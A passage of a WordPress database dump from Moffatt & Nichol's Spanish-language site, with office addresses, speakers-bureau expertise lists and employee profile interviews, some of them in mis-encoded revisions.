class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>dirección</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n+1 619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>dirección</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n+1 912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>dirección</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n+1 206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>dirección</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n+1 813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Guam.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"6\">Tamuning</h2>\r\n<strong>dirección</strong>\r\n\r\nITC Building Suite 801\r\n\r\n590 S. Marine Corps Drive\r\n\r\nTamuning, Guam 96913\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 671-648-1000\r\n\r\n<strong>fax</strong>\r\n\r\n+1 671-648-1001\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>dirección</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, Canadá V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n+1 604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>dirección</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n+1 601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>dirección</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n+1 925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-9','','','2013-01-21 06:54:10','2013-01-21 06:54:10','',14,'http://moffattnichol.com/spanish/14-revision-9/',0,'revision','',0),(2779,1,'2013-01-14 06:19:25','2013-01-14 06:19:25','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios\r\n             Planeamiento maestro portuario y de terminales \r\n             Seguridad portuaria \r\n             Mitigación para impacto de grandes proyectos de desarrollo portuario \r\n             Planeamiento y automatización de terminales de contenedores \r\n             Desarrollo portuario internacional \r\n             Diseño de pavimentos portuarios \r\n             Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal \r\nPlaneamiento, obtención de fondos y diseño de carga multimodal \r\nDiseño antisísmico \r\nDiseño y análisis de puentes \r\nTerminales de graneles Ingeniería de eventos extremos \r\nAnálisis y protección de tsunamis \r\nDefensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías \r\nTerminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras \r\nTerminales de carga líquida a granel \r\nTerminales de GNL \r\nAmarres de boya simple y múltiple \r\nDiseño de tuberías submarinas \r\nAnálisis de buques de paso \r\nAnálisis y diseño de amarres y atraques \r\nCimentaciones de turbinas eólicas costa afuera \r\nPuertos de acceso a parques eólicos costa afuera \r\nAlmacenamiento de energía de aire comprimido del océano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) \r\nTendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado \r\nIngeniería de recursos hídricos \r\nIngeniería y modelación costeras \r\nGestión de aguas pluviales costeras \r\nGestión y planeamiento de la zona costera \r\nAumento del nivel del mar y Cambio climático \r\nVulnerabilidad de la infraestructura costera \r\nSedimentos contaminados \r\nGestión de la calidad del aire \r\nEstructuras de control de inundaciones \r\nRestauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos \r\nDiseño de estructuras marítimas Desarrollo de centros turísticos \r\nRecuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas \r\nIngeniería de vida de servicio Investigaciones del frente costero \r\nSistemas de gestión del mantenimiento y Sistemas de gestión de activos \r\nRehabilitación \r\nMuestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro \r\nAsociaciones público-privadas \r\nLa economía y las tendencias globales \r\nEvaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision-7','','','2013-01-14 06:19:25','2013-01-14 06:19:25','',80,'http://moffattnichol.com/spanish/80-revision-7/',0,'revision','',0),(2780,1,'2013-01-28 05:25:37','2013-01-28 05:25:37','<div class=\"content-speakers\">\r\n          <h1>oficina de oradores</h1>\r\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios\r\n             Planeamiento maestro portuario y de terminales \r\n             Seguridad portuaria \r\n             Mitigación para impacto de grandes proyectos de desarrollo portuario \r\n             Planeamiento y automatización de terminales de contenedores \r\n             Desarrollo portuario internacional \r\n             Diseño de pavimentos portuarios \r\n             Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal \r\nPlaneamiento, obtención de fondos y diseño de carga multimodal \r\nDiseño antisísmico \r\nDiseño y análisis de puentes \r\nTerminales de graneles Ingeniería de eventos extremos \r\nAnálisis y protección de tsunamis \r\nDefensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías \r\nTerminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras \r\nTerminales de carga líquida a granel \r\nTerminales de GNL \r\nAmarres de boya simple y múltiple \r\nDiseño de tuberías submarinas \r\nAnálisis de buques de paso \r\nAnálisis y diseño de amarres y atraques \r\nCimentaciones de turbinas eólicas costa afuera \r\nPuertos de acceso a parques eólicos costa afuera \r\nAlmacenamiento de energía de aire comprimido del océano \r\nInfraestructura de frentes costeros de la Marina \r\nInfraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) \r\nTendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado \r\nIngeniería de recursos hídricos \r\nIngeniería y modelación costeras \r\nGestión de aguas pluviales costeras \r\nGestión y planeamiento de la zona costera \r\nAumento del nivel del mar y Cambio climático \r\nVulnerabilidad de la infraestructura costera \r\nSedimentos contaminados \r\nGestión de la calidad del aire \r\nEstructuras de control de inundaciones \r\nRestauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos \r\nDiseño de estructuras marítimas Desarrollo de centros turísticos \r\nRecuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas \r\nIngeniería de vida de servicio Investigaciones del frente costero \r\nSistemas de gestión del mantenimiento y Sistemas de gestión de activos \r\nRehabilitación \r\nMuestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro \r\nAsociaciones público-privadas \r\nLa economía y las tendencias globales \r\nEvaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision-8','','','2013-01-28 05:25:37','2013-01-28 05:25:37','',80,'http://moffattnichol.com/spanish/80-revision-8/',0,'revision','',0),(2781,1,'2012-08-29 11:41:58','2012-08-29 11:41:58','<p class=\"para-text\">\r\n<strong>Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n \r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida por el excelente trabajo costero en la costa oeste, pero su única oficina estaba situada en la zona metropolitana de Los Ángeles, y yo no quería vivir allí. Unos 12 años después de la graduación me encontraba terminando un proyecto de 3 años en el que había estado trabajando en Boise, Idaho, y me puse a pensar en la posibilidad de regresar a California o quedarme en Idaho. Mi madre, que vive en California, quería animarnos a mí y a mis hijos (sus 2 nietos) a volver, y empezó a enviarme los anuncios para puestos de ingeniero que veía en el periódico. El primer anuncio que me envió fue el de un cargo en Moffatt & Nichol, empresa de la que ella no sabía nada. ¡Creo que era mi destino! Respondí al anuncio, me entrevisté con un equipo muy experimentado de profesionales (todos los cuáles siguen trabajando con la empresa), y me contrataron.  \r\n \r\n<strong>¿Qué le ha mantenido con la compañía por 15 años?</strong>\r\nEsta empresa ofrece la combinación perfecta para mí: trabajo interesante, gente excepcional y una cultura empresarial solidaria y positiva. Me siento muy afortunado de poder hacer lo que me gusta (y sé) hacer.\r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong> \r\nHe podido trabajar en proyectos importantes, con un equipo de trabajo y colaboración excelentes, y con clientes excepcionales. Poder convertir las ideas en algo tangible ante tus propios ojos es un reto formidable, como lo fue un reciente proyecto de un muelle que diseñamos y que fue construido en sólo 6 meses en modo de vía rápida.  \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nPareciera que tengo la suerte de trabajar en proyectos en lugares muy bellos. Como entusiasta del ciclismo y de las actividades al aire libre, eso realmente me atrae muchísimo. La verdad es que pareciera que la empresa, en conjunto, funciona en lugares maravillosos. Pero también me he ganado mi lugar haciendo ciertas cosas, por ejemplo: ¡una inmersión en diciembre en aguas a 10 ºC y visibilidad casi nula!\r\n \r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nAutonomía excepcional y organización horizontal única. La administración comparte los beneficios y los elogios, así como también respeta a las personas y la flexibilidad del trabajo. También me complacen los esfuerzos de reconocer y dar visibilidad a las personas, porque eso nos hace sentir valorados.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nEl respeto que la empresa tiene para sus empleados, como se evidencia en el bajo volumen de rotación de personal y el talento excepcional. La creatividad de sus miembros… la afirmación de soluciones prácticas realmente es cierta. Además, no hay división entre la administración y los empleados. La empresa demuestra respeto por sus empleados (verdadero respeto, no ese \"respeto\" vacío del que frecuentemente se jactan otras compañías).\r\n</p>','Brad','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida…</p>\r\n','inherit','open','open','','2569-revision-6','','','2012-08-29 11:41:58','2012-08-29 11:41:58','',2569,'http://moffattnichol.com/spanish/2569-revision-6/',0,'revision','',0),(2782,1,'2013-01-29 12:38:45','2013-01-29 12:38:45','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/07/Brad-new.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/07/Brad-new.jpg\" alt=\"Brad\" title=\"Brad\" width=\"150\" height=\"150\" class=\"alignleft size-full wp-image-2581\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n \r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida por el excelente trabajo costero en la costa oeste, pero su única oficina estaba situada en la zona metropolitana de Los Ángeles, y yo no quería vivir allí. Unos 12 años después de la graduación me encontraba terminando un proyecto de 3 años en el que había estado trabajando en Boise, Idaho, y me puse a pensar en la posibilidad de regresar a California o quedarme en Idaho. Mi madre, que vive en California, quería animarnos a mí y a mis hijos (sus 2 nietos) a volver, y empezó a enviarme los anuncios para puestos de ingeniero que veía en el periódico. El primer anuncio que me envió fue el de un cargo en Moffatt & Nichol, empresa de la que ella no sabía nada. ¡Creo que era mi destino! Respondí al anuncio, me entrevisté con un equipo muy experimentado de profesionales (todos los cuáles siguen trabajando con la empresa), y me contrataron.  \r\n \r\n<strong>¿Qué le ha mantenido con la compañía por 15 años?</strong>\r\nEsta empresa ofrece la combinación perfecta para mí: trabajo interesante, gente excepcional y una cultura empresarial solidaria y positiva. Me siento muy afortunado de poder hacer lo que me gusta (y sé) hacer.\r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong> \r\nHe podido trabajar en proyectos importantes, con un equipo de trabajo y colaboración excelentes, y con clientes excepcionales. Poder convertir las ideas en algo tangible ante tus propios ojos es un reto formidable, como lo fue un reciente proyecto de un muelle que diseñamos y que fue construido en sólo 6 meses en modo de vía rápida.  \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nPareciera que tengo la suerte de trabajar en proyectos en lugares muy bellos. Como entusiasta del ciclismo y de las actividades al aire libre, eso realmente me atrae muchísimo. La verdad es que pareciera que la empresa, en conjunto, funciona en lugares maravillosos. Pero también me he ganado mi lugar haciendo ciertas cosas, por ejemplo: ¡una inmersión en diciembre en aguas a 10 ºC y visibilidad casi nula!\r\n \r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nAutonomía excepcional y organización horizontal única. La administración comparte los beneficios y los elogios, así como también respeta a las personas y la flexibilidad del trabajo. También me complacen los esfuerzos de reconocer y dar visibilidad a las personas, porque eso nos hace sentir valorados.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nEl respeto que la empresa tiene para sus empleados, como se evidencia en el bajo volumen de rotación de personal y el talento excepcional. La creatividad de sus miembros… la afirmación de soluciones prácticas realmente es cierta. Además, no hay división entre la administración y los empleados. La empresa demuestra respeto por sus empleados (verdadero respeto, no ese \"respeto\" vacío del que frecuentemente se jactan otras compañías).\r\n</p>','Brad','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida…</p>\r\n','inherit','open','open','','2569-revision-7','','','2013-01-29 12:38:45','2013-01-29 12:38:45','',2569,'http://moffattnichol.com/spanish/2569-revision-7/',0,'revision','',0),(2783,1,'2012-01-10 07:42:52','2012-01-10 02:12:52','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\" alt=\"\" title=\"david\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1508\" /></a>\n<p class=\"para-text\">\n<strong> David </strong>\nGerente general, Oficina de Colombia  \n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nSabÃa de Moffatt & Nichol a travÃ©s de mi trabajo en la industria de ingenierÃa marÃtima pero la decisiÃ³n para unirme fue motivada sobre todo por la recomendaciÃ³n y las buenas experiencias de uno de mis colegas mÃ¡s respetados, que se habÃa unido la firma dos aÃ±os antes.  \n \n<strong>Â¿QuÃ© le ha mantenido durante tanto tiempo con la compaÃ±Ãa?</strong>\nSuena a clichÃ©, pero tengo la suerte de estar en una posiciÃ³n donde cada dÃa trae un nuevo desafÃo, asÃ que el trabajo siempre es interesante. \n \n<strong>Â¿CÃ³mo se ha modificado su funciÃ³n desde que se uniÃ³ a nosotros?</strong>\nManejÃ© grandes proyectos en la oficina de Nueva York de la compaÃ±Ãa hasta que tuve la oportunidad de trasladarme a PanamÃ¡ y de apoyar la oficina de allÃ. Eso llevÃ³ a la oportunidad de abrir una nueva sucursal en BogotÃ¡, Colombia, donde trabajo actualmente. \n \n<strong>Â¿En quÃ© tipos de proyecto trabaja o ha trabajado?</strong> \nEl trabajo varÃa constantemente, asÃ que tengo la oportunidad de trabajar en muchas Ã¡reas, desde desarrollos de terminales de contenedores y carbÃ³n o reparaciones estructurales marÃtimas hasta estudios de redes de transporte.\n\n<strong>Â¿CÃ³mo ha cambiado la compaÃ±Ãa desde que usted llegÃ³?</strong>\nEn tÃ©rminos de proyectos empresariales, la compaÃ±Ãa ha comenzado a enfocarse en trabajo internacional mÃ¡s que cuando me unÃ por primero vez, proporcionando nuevos y diversos desafÃos tanto en la adquisiciÃ³n como en la finalizaciÃ³n de proyectos.\n\nEn tÃ©rminos de atmÃ³sfera laboral, no ha cambiado realmente - y me gusta eso. A travÃ©s de los buenos\n\ny malos tiempos de la economÃa, la compaÃ±Ãa ha mantenido una pequeÃ±a compaÃ±Ãa, con una atmÃ³sfera familiar que fomenta un sentido de cooperaciÃ³n entre los empleados y las oficinas.\n\n<strong>Â¿CÃ³mo describirÃa el ambiente de trabajo?</strong>\nLa primera cosa que fue evidente de inmediato cuando me unÃ a Moffatt & Nichol era lo bien que las varias oficinas y sus empleados trabajaban juntos. Como mencionÃ©, un fuerte espÃritu cooperativo penetra la organizaciÃ³n y uno puede sentirse realmente como parte de algo mayor que la suma de sus componentes. Pienso que esto viene de conservar una atmÃ³sfera de negocio familiar, incluso a medida que la compaÃ±Ãa y la escala de los proyectos siguen creciendo.\n \n</p>\n\n','David ','<p class=\"para-text\">\n<strong> David </strong>\nGerente general, Oficina de Colombia  \n\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\nSabÃa de Moffatt & Nichol a travÃ©s de mi trabajo en la industria de ingenierÃa marÃtima pero la decisiÃ³n para unirme fue motivada sobre todo por la recomendaciÃ³n y las buenas experiencias de uno de mis colegas mÃ¡s respetados, que se habÃa unido la firma dos aÃ±os antes.  \n</p>','inherit','open','open','','1507-revision','','','2012-01-10 07:42:52','2012-01-10 02:12:52','',1507,'http://moffattnichol.com/spanish/1507-revision/',0,'revision','',0),(2784,1,'2013-01-29 12:42:13','2013-01-29 12:42:13','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\" alt=\"\" title=\"david\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1508\" /></a>\r\n<p class=\"para-text\">\r\n<strong>David</strong>\r\nGerente general, Oficina de Colombia  \r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nSabía de Moffatt & Nichol a través de mi trabajo en la industria de ingeniería marítima pero la decisión para unirme fue motivada sobre todo por la recomendación y las buenas experiencias de uno de mis colegas más respetados, que se había unido la firma dos años antes.  \r\n \r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nSuena a cliché, pero tengo la suerte de estar en una posición donde cada día trae un nuevo desafío, así que el trabajo siempre es interesante. \r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong>\r\nManejé grandes proyectos en la oficina de Nueva York de la compañía hasta que tuve la oportunidad de trasladarme a Panamá y de apoyar la oficina de allí. Eso llevó a la oportunidad de abrir una nueva sucursal en Bogotá, Colombia, donde trabajo actualmente. \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong> \r\nEl trabajo varía constantemente, así que tengo la oportunidad de trabajar en muchas áreas, desde desarrollos de terminales de contenedores y carbón o reparaciones estructurales marítimas hasta estudios de redes de transporte.\r\n\r\n<strong>¿Cómo ha cambiado la compañía desde que usted llegó?</strong>\r\nEn términos de proyectos empresariales, la compañía ha comenzado a enfocarse en trabajo internacional más que cuando me uní por primero vez, proporcionando nuevos y diversos desafíos tanto en la adquisición como en la finalización de proyectos.\r\n\r\nEn términos de atmósfera laboral, no ha cambiado realmente - y me gusta eso. A través de los buenos\r\n\r\ny malos tiempos de la economía, la compañía ha mantenido una pequeña compañía, con una atmósfera familiar que fomenta un sentido de cooperación entre los empleados y las oficinas.\r\n\r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nLa primera cosa que fue evidente de inmediato cuando me uní a Moffatt & Nichol era lo bien que las varias oficinas y sus empleados trabajaban juntos. Como mencioné, un fuerte espíritu cooperativo penetra la organización y uno puede sentirse realmente como parte de algo mayor que la suma de sus componentes. Pienso que esto viene de conservar una atmósfera de negocio familiar, incluso a medida que la compañía y la escala de los proyectos siguen creciendo.\r\n</p>','David ','<p class=\"para-text\">\r\n<strong> David </strong>\r\nGerente general, Oficina de Colombia  \r\n\r\n<strong>Â¿CÃ³mo llegÃ³ a la compaÃ±Ãa?</strong>\r\nSabÃa de Moffatt & Nichol a travÃ©s de mi trabajo en la industria de ingenierÃa marÃtima pero la decisiÃ³n para unirme fue motivada sobre todo por la recomendaciÃ³n y las buenas experiencias de uno de mis colegas mÃ¡s respetados, que se habÃa unido la firma dos aÃ±os antes.  \r\n</p>','inherit','open','open','','1507-revision-2','','','2013-01-29 12:42:13','2013-01-29 12:42:13','',1507,'http://moffattnichol.com/spanish/1507-revision-2/',0,'revision','',0),(2785,1,'2013-01-29 12:42:48','2013-01-29 12:42:48','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/david.jpg\" alt=\"\" title=\"david\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1508\" /></a>\r\n<p class=\"para-text\">\r\n<strong>David</strong>\r\nGerente general, Oficina de Colombia  \r\n\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nSabía de Moffatt & Nichol a través de mi trabajo en la industria de ingeniería marítima pero la decisión para unirme fue motivada sobre todo por la recomendación y las buenas experiencias de uno de mis colegas más respetados, que se había unido la firma dos años antes.  \r\n \r\n<strong>¿Qué le ha mantenido durante tanto tiempo con la compañía?</strong>\r\nSuena a cliché, pero tengo la suerte de estar en una posición donde cada día trae un nuevo desafío, así 